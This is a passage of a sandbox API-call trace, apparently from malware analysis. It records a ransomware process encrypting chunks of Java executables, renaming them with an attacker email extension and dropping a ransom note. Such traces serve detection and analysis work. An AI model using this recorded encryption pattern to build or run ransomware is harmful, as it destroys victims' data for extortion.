lpNumberOfBytesWritten=0x302bfe50, lpOverlapped=0x0 | out: lpBuffer=0x302bfe68*, lpNumberOfBytesWritten=0x302bfe50*=0x4, lpOverlapped=0x0) returned 1 [0088.596] WriteFile (in: hFile=0x62c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x302bfe50, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x302bfe50*=0x4, lpOverlapped=0x0) returned 1 [0088.596] WriteFile (in: hFile=0x62c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x302bfe50, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x302bfe50*=0x6c, lpOverlapped=0x0) returned 1 [0088.596] WriteFile (in: hFile=0x62c, lpBuffer=0x55dc778*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x302bfe50, lpOverlapped=0x0 | out: lpBuffer=0x55dc778*, lpNumberOfBytesWritten=0x302bfe50*=0x20, lpOverlapped=0x0) returned 1 [0088.596] WriteFile (in: hFile=0x62c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x302bfe50, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x302bfe50*=0x4, lpOverlapped=0x0) returned 1 [0088.596] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc778) returned 1 [0088.596] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc890) returned 1 [0088.596] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc6d8) returned 1 [0088.596] CloseHandle (hObject=0x62c) returned 1 [0088.596] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x3487418 [0088.596] wcscpy (in: _Dest=0x3487418, _Source="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\java.exe" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\java.exe") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\java.exe" [0088.596] wcscat (in: _Dest=0x3487418, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\java.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\java.exe.mailto[kokoklock@cock.li].d0e731" [0088.597] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\java.exe" (normalized: "c:\\users\\all users\\oracle\\java\\javapath_target_474984\\java.exe"), lpNewFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\java.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\oracle\\java\\javapath_target_474984\\java.exe.mailto[kokoklock@cock.li].d0e731")) returned 1 [0088.597] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\java.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0088.597] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3487418) returned 1 [0088.597] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\java.exe", dwFileAttributes=0x2020) returned 0 [0088.597] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x92) returned 0x33eb090 [0088.598] wcscpy (in: _Dest=0x33eb090, _Source="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\" [0088.598] wcscat (in: _Dest=0x33eb090, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\D0E731-Readme.txt" [0088.598] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\oracle\\java\\javapath_target_474984\\d0e731-readme.txt")) returned 0xffffffff [0088.598] CreateFileW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\oracle\\java\\javapath_target_474984\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x62c [0088.599] WriteFile (in: hFile=0x62c, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x302bfe4c, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x302bfe4c*=0x481, lpOverlapped=0x0) returned 1 [0088.601] CloseHandle (hObject=0x62c) returned 1 [0088.601] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb090) returned 1 [0088.601] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f4e0) returned 1 [0088.601] RtlExitUserThread (Status=0x1) Thread: id = 1390 os_tid = 0x1458 [0088.575] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaw.exe" (normalized: "c:\\users\\all users\\oracle\\java\\javapath_target_474984\\javaw.exe")) returned 0x2020 [0088.587] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaw.exe", dwFileAttributes=0x20) returned 1 [0088.589] CreateFileW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaw.exe" (normalized: "c:\\users\\all users\\oracle\\java\\javapath_target_474984\\javaw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0088.591] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x3033f75c | out: lpFileSize=0x3033f75c*=206912) returned 1 [0088.591] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x3283c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.591] ReadFile (in: hFile=0x2f4, lpBuffer=0x3033f730, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3033f72c, lpOverlapped=0x0 | out: lpBuffer=0x3033f730*, lpNumberOfBytesRead=0x3033f72c*=0x4, lpOverlapped=0x0) returned 1 [0088.603] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.603] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc6d8 [0088.603] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc778 [0088.603] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc890 [0088.603] NtQuerySystemTime (in: CurrentTime=0x3033f708 | out: CurrentTime=0x3033f708*=132121176465005349) returned 0x0 [0088.603] RtlRandom (in: Seed=0x3033f714 | out: Seed=0x3033f714) returned 0x8dce05d5 [0088.603] RtlRandom (in: Seed=0x3033f714 | out: Seed=0x3033f714) returned 0x5b7079b7 [0088.603] RtlRandom (in: Seed=0x3033f714 | out: Seed=0x3033f714) returned 0xd1c7cfae [0088.603] RtlRandom (in: Seed=0x3033f714 | out: Seed=0x3033f714) returned 0x9eb78a28 [0088.603] RtlRandom (in: Seed=0x3033f714 | out: Seed=0x3033f714) returned 0xebb8a39 [0088.603] RtlRandom (in: Seed=0x3033f714 | out: Seed=0x3033f714) returned 0xe01035ba [0088.603] RtlRandom (in: Seed=0x3033f714 | out: Seed=0x3033f714) returned 0x867e15e5 [0088.603] RtlRandom (in: Seed=0x3033f714 | out: Seed=0x3033f714) returned 0xae16d0c7 [0088.603] RtlRandom (in: Seed=0x3033f714 | out: Seed=0x3033f714) returned 0x41e4e721 [0088.603] RtlRandom (in: Seed=0x3033f714 | out: Seed=0x3033f714) returned 0x4a320fa0 [0088.603] RtlRandom (in: Seed=0x3033f714 | out: Seed=0x3033f714) returned 0x56139b95 [0088.603] RtlRandom (in: Seed=0x3033f714 | out: Seed=0x3033f714) returned 0x61d83003 [0088.603] RtlRandom (in: Seed=0x3033f714 | out: Seed=0x3033f714) returned 0x14056f8 [0088.603] RtlRandom (in: Seed=0x3033f714 | out: Seed=0x3033f714) returned 0x3eebb9c5 [0088.603] RtlRandom (in: Seed=0x3033f714 | out: Seed=0x3033f714) returned 0x5c210893 [0088.603] RtlRandom (in: Seed=0x3033f714 | out: Seed=0x3033f714) returned 0x603fa636 [0088.603] RtlRandom (in: Seed=0x3033f714 | out: Seed=0x3033f714) returned 0x2e722cad [0088.603] RtlRandom (in: Seed=0x3033f714 | out: Seed=0x3033f714) returned 0xd0656536 [0088.603] RtlRandom (in: Seed=0x3033f714 | out: Seed=0x3033f714) returned 0xd026e6f1 [0088.603] RtlRandom (in: Seed=0x3033f714 | out: Seed=0x3033f714) returned 0x63e0329 [0088.603] RtlRandom (in: Seed=0x3033f714 | out: Seed=0x3033f714) returned 0x2e2bbd68 [0088.603] RtlRandom (in: Seed=0x3033f714 | out: Seed=0x3033f714) returned 0x5ed3574e [0088.603] RtlRandom (in: Seed=0x3033f714 | out: Seed=0x3033f714) returned 0x6437c226 [0088.604] RtlRandom (in: Seed=0x3033f714 | out: Seed=0x3033f714) returned 0xf6d340b4 [0088.604] RtlRandom (in: Seed=0x3033f714 | out: Seed=0x3033f714) returned 0xbc0fe8c6 [0088.604] RtlRandom (in: Seed=0x3033f714 | out: Seed=0x3033f714) returned 0xdaffb60e [0088.604] RtlRandom (in: Seed=0x3033f714 | out: Seed=0x3033f714) returned 0xf1590fb8 [0088.604] RtlRandom (in: Seed=0x3033f714 | out: Seed=0x3033f714) returned 0xb7bf170 [0088.604] RtlRandom (in: Seed=0x3033f714 | out: Seed=0x3033f714) returned 0x7bfd3090 [0088.604] RtlRandom (in: Seed=0x3033f714 | out: Seed=0x3033f714) returned 0x98da2198 [0088.604] RtlRandom (in: Seed=0x3033f714 | out: Seed=0x3033f714) returned 0xff5adb43 [0088.604] RtlRandom (in: Seed=0x3033f714 | out: Seed=0x3033f714) returned 0xc1e24ad3 [0088.614] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.614] ReadFile (in: hFile=0x2f4, lpBuffer=0x34b6388, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x3033f6c8, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesRead=0x3033f6c8*=0x4096, lpOverlapped=0x0) returned 1 [0088.615] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.615] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0088.615] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33e9f40 [0088.615] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc908 [0088.615] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc908) returned 1 [0088.616] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55de100 [0088.616] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc6d8 [0088.616] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc908 [0088.616] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc908) returned 1 [0088.616] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e9f40) returned 1 [0088.616] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0088.616] WriteFile (in: hFile=0x2f4, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x3033f6c8, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x3033f6c8*=0x4096, lpOverlapped=0x0) returned 1 [0088.616] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0088.616] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x1c41a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.616] ReadFile (in: hFile=0x2f4, lpBuffer=0x34b6388, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x3033f6c8, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesRead=0x3033f6c8*=0x4096, lpOverlapped=0x0) returned 1 [0088.618] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x1c41a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.618] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0088.619] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33e9c70 [0088.619] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc908 [0088.619] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc908) returned 1 [0088.619] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55de100 [0088.619] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc908 [0088.619] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc930 [0088.619] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc930) returned 1 [0088.619] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e9c70) returned 1 [0088.619] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0088.619] WriteFile (in: hFile=0x2f4, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x3033f6c8, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x3033f6c8*=0x4096, lpOverlapped=0x0) returned 1 [0088.620] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0088.620] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x2e7aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.620] ReadFile (in: hFile=0x2f4, lpBuffer=0x34b6388, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x3033f6c8, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesRead=0x3033f6c8*=0x4096, lpOverlapped=0x0) returned 1 [0088.632] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x2e7aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.632] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd2c8 [0088.632] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33e9c70 [0088.633] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc930 [0088.633] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc930) returned 1 [0088.633] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55e21a0 [0088.633] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc930 [0088.633] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcf98 [0088.633] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcf98) returned 1 [0088.633] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e9c70) returned 1 [0088.634] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0088.634] WriteFile (in: hFile=0x2f4, lpBuffer=0x55e21a0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x3033f6c8, lpOverlapped=0x0 | out: lpBuffer=0x55e21a0*, lpNumberOfBytesWritten=0x3033f6c8*=0x4096, lpOverlapped=0x0) returned 1 [0088.634] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55e21a0) returned 1 [0088.634] WriteFile (in: hFile=0x2f4, lpBuffer=0x55dc6d8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3033f724, lpOverlapped=0x0 | out: lpBuffer=0x55dc6d8*, lpNumberOfBytesWritten=0x3033f724*=0x20, lpOverlapped=0x0) returned 1 [0088.634] WriteFile (in: hFile=0x2f4, lpBuffer=0x55dc908*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3033f724, lpOverlapped=0x0 | out: lpBuffer=0x55dc908*, lpNumberOfBytesWritten=0x3033f724*=0x20, lpOverlapped=0x0) returned 1 [0088.634] WriteFile (in: hFile=0x2f4, lpBuffer=0x55dc930*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3033f724, lpOverlapped=0x0 | out: lpBuffer=0x55dc930*, lpNumberOfBytesWritten=0x3033f724*=0x20, lpOverlapped=0x0) returned 1 [0088.634] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0088.634] WriteFile (in: hFile=0x2f4, lpBuffer=0x55dc8e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3033f72c, lpOverlapped=0x0 | out: lpBuffer=0x55dc8e0*, lpNumberOfBytesWritten=0x3033f72c*=0x8, lpOverlapped=0x0) returned 1 [0088.634] WriteFile (in: hFile=0x2f4, lpBuffer=0x3033f744*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3033f72c, lpOverlapped=0x0 | out: lpBuffer=0x3033f744*, lpNumberOfBytesWritten=0x3033f72c*=0x4, lpOverlapped=0x0) returned 1 [0088.634] WriteFile (in: hFile=0x2f4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3033f72c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x3033f72c*=0x4, lpOverlapped=0x0) returned 1 [0088.634] WriteFile (in: hFile=0x2f4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x3033f72c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x3033f72c*=0x6c, lpOverlapped=0x0) returned 1 [0088.634] WriteFile (in: hFile=0x2f4, lpBuffer=0x55dc778*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3033f72c, lpOverlapped=0x0 | out: lpBuffer=0x55dc778*, lpNumberOfBytesWritten=0x3033f72c*=0x20, lpOverlapped=0x0) returned 1 [0088.634] WriteFile (in: hFile=0x2f4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3033f72c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x3033f72c*=0x4, lpOverlapped=0x0) returned 1 [0088.634] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc778) returned 1 [0088.635] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc8b8) returned 1 [0088.635] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc8e0) returned 1 [0088.635] CloseHandle (hObject=0x2f4) returned 1 [0088.635] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc2) returned 0x3485430 [0088.635] wcscpy (in: _Dest=0x3485430, _Source="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaw.exe" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaw.exe") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaw.exe" [0088.635] wcscat (in: _Dest=0x3485430, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaw.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaw.exe.mailto[kokoklock@cock.li].d0e731" [0088.635] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaw.exe" (normalized: "c:\\users\\all users\\oracle\\java\\javapath_target_474984\\javaw.exe"), lpNewFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaw.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\oracle\\java\\javapath_target_474984\\javaw.exe.mailto[kokoklock@cock.li].d0e731")) returned 1 [0088.635] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaw.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0088.636] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3485430) returned 1 [0088.636] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaw.exe", dwFileAttributes=0x2020) returned 0 [0088.636] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x92) returned 0x33eb270 [0088.636] wcscpy (in: _Dest=0x33eb270, _Source="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\" [0088.636] wcscat (in: _Dest=0x33eb270, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\D0E731-Readme.txt" [0088.636] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\oracle\\java\\javapath_target_474984\\d0e731-readme.txt")) returned 0x2020 [0088.636] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb270) returned 1 [0088.636] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f238) returned 1 [0088.636] RtlExitUserThread (Status=0x1) Thread: id = 1391 os_tid = 0x145c [0088.614] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaws.exe" (normalized: "c:\\users\\all users\\oracle\\java\\javapath_target_474984\\javaws.exe")) returned 0x2020 [0088.617] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaws.exe", dwFileAttributes=0x20) returned 1 [0088.617] CreateFileW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaws.exe" (normalized: "c:\\users\\all users\\oracle\\java\\javapath_target_474984\\javaws.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x62c [0088.617] GetFileSizeEx (in: hFile=0x62c, lpFileSize=0x303bfdb4 | out: lpFileSize=0x303bfdb4*=319552) returned 1 [0088.617] SetFilePointerEx (in: hFile=0x62c, liDistanceToMove=0x4e03c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.617] ReadFile (in: hFile=0x62c, lpBuffer=0x303bfd88, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x303bfd84, lpOverlapped=0x0 | out: lpBuffer=0x303bfd88*, lpNumberOfBytesRead=0x303bfd84*=0x4, lpOverlapped=0x0) returned 1 [0088.620] SetFilePointerEx (in: hFile=0x62c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.620] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc930 [0088.620] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcc50 [0088.620] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcc78 [0088.620] NtQuerySystemTime (in: CurrentTime=0x303bfd60 | out: CurrentTime=0x303bfd60*=132121176465161484) returned 0x0 [0088.620] RtlRandom (in: Seed=0x303bfd6c | out: Seed=0x303bfd6c) returned 0x428dde99 [0088.620] RtlRandom (in: Seed=0x303bfd6c | out: Seed=0x303bfd6c) returned 0x7614e303 [0088.620] RtlRandom (in: Seed=0x303bfd6c | out: Seed=0x303bfd6c) returned 0xd357c648 [0088.620] RtlRandom (in: Seed=0x303bfd6c | out: Seed=0x303bfd6c) returned 0x3531572 [0088.620] RtlRandom (in: Seed=0x303bfd6c | out: Seed=0x303bfd6c) returned 0xc3a77783 [0088.620] RtlRandom (in: Seed=0x303bfd6c | out: Seed=0x303bfd6c) returned 0xacd5ea5f [0088.620] RtlRandom (in: Seed=0x303bfd6c | out: Seed=0x303bfd6c) returned 0xb1da62df [0088.620] RtlRandom (in: Seed=0x303bfd6c | out: Seed=0x303bfd6c) returned 0x3790e61c [0088.620] RtlRandom (in: Seed=0x303bfd6c | out: Seed=0x303bfd6c) returned 0xab74d125 [0088.620] RtlRandom (in: Seed=0x303bfd6c | out: Seed=0x303bfd6c) returned 0x993b282a [0088.620] RtlRandom (in: Seed=0x303bfd6c | out: Seed=0x303bfd6c) returned 0x2d99781c [0088.620] RtlRandom (in: Seed=0x303bfd6c | out: Seed=0x303bfd6c) returned 0xe141bc3e [0088.621] RtlRandom (in: Seed=0x303bfd6c | out: Seed=0x303bfd6c) returned 0x3626051a [0088.621] RtlRandom (in: Seed=0x303bfd6c | out: Seed=0x303bfd6c) returned 0x326d10ce [0088.621] RtlRandom (in: Seed=0x303bfd6c | out: Seed=0x303bfd6c) returned 0xf78c60c9 [0088.621] RtlRandom (in: Seed=0x303bfd6c | out: Seed=0x303bfd6c) returned 0xe5f54585 [0088.621] RtlRandom (in: Seed=0x303bfd6c | out: Seed=0x303bfd6c) returned 0x3e55e60d [0088.621] RtlRandom (in: Seed=0x303bfd6c | out: Seed=0x303bfd6c) returned 0x92318bbb [0088.621] RtlRandom (in: Seed=0x303bfd6c | out: Seed=0x303bfd6c) returned 0x34947be4 [0088.621] RtlRandom (in: Seed=0x303bfd6c | out: Seed=0x303bfd6c) returned 0x8d4a386f [0088.621] RtlRandom (in: Seed=0x303bfd6c | out: Seed=0x303bfd6c) returned 0x94195cde [0088.621] RtlRandom (in: Seed=0x303bfd6c | out: Seed=0x303bfd6c) returned 0x3a803125 [0088.621] RtlRandom (in: Seed=0x303bfd6c | out: Seed=0x303bfd6c) returned 0xd90472d8 [0088.621] RtlRandom (in: Seed=0x303bfd6c | out: Seed=0x303bfd6c) returned 0xf008ee7 [0088.621] RtlRandom (in: Seed=0x303bfd6c | out: Seed=0x303bfd6c) returned 0xf79ed3cc [0088.621] RtlRandom (in: Seed=0x303bfd6c | out: Seed=0x303bfd6c) returned 0x4aa51e3f [0088.621] RtlRandom (in: Seed=0x303bfd6c | out: Seed=0x303bfd6c) returned 0xbc180dfa [0088.621] RtlRandom (in: Seed=0x303bfd6c | out: Seed=0x303bfd6c) returned 0xc7e55557 [0088.621] RtlRandom (in: Seed=0x303bfd6c | out: Seed=0x303bfd6c) returned 0xb11b55f5 [0088.621] RtlRandom (in: Seed=0x303bfd6c | out: Seed=0x303bfd6c) returned 0xed364807 [0088.621] RtlRandom (in: Seed=0x303bfd6c | out: Seed=0x303bfd6c) returned 0x164d7c83 [0088.621] RtlRandom (in: Seed=0x303bfd6c | out: Seed=0x303bfd6c) returned 0xaa68df8e [0088.631] SetFilePointerEx (in: hFile=0x62c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.631] ReadFile (in: hFile=0x62c, lpBuffer=0x55de100, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x303bfd20, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesRead=0x303bfd20*=0x4096, lpOverlapped=0x0) returned 1 [0088.637] SetFilePointerEx (in: hFile=0x62c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 